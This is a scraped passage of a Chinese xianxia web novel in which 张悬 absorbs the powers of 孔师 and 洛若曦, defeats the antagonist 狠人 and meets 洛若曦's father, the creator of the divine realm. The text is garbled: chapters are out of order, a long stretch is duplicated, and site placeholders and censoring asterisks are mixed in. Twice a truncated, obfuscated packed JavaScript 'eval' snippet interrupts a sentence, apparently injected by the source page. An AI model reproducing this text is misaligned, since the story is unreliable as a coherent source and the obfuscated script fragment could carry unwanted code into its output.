孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第112章袖里剑 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 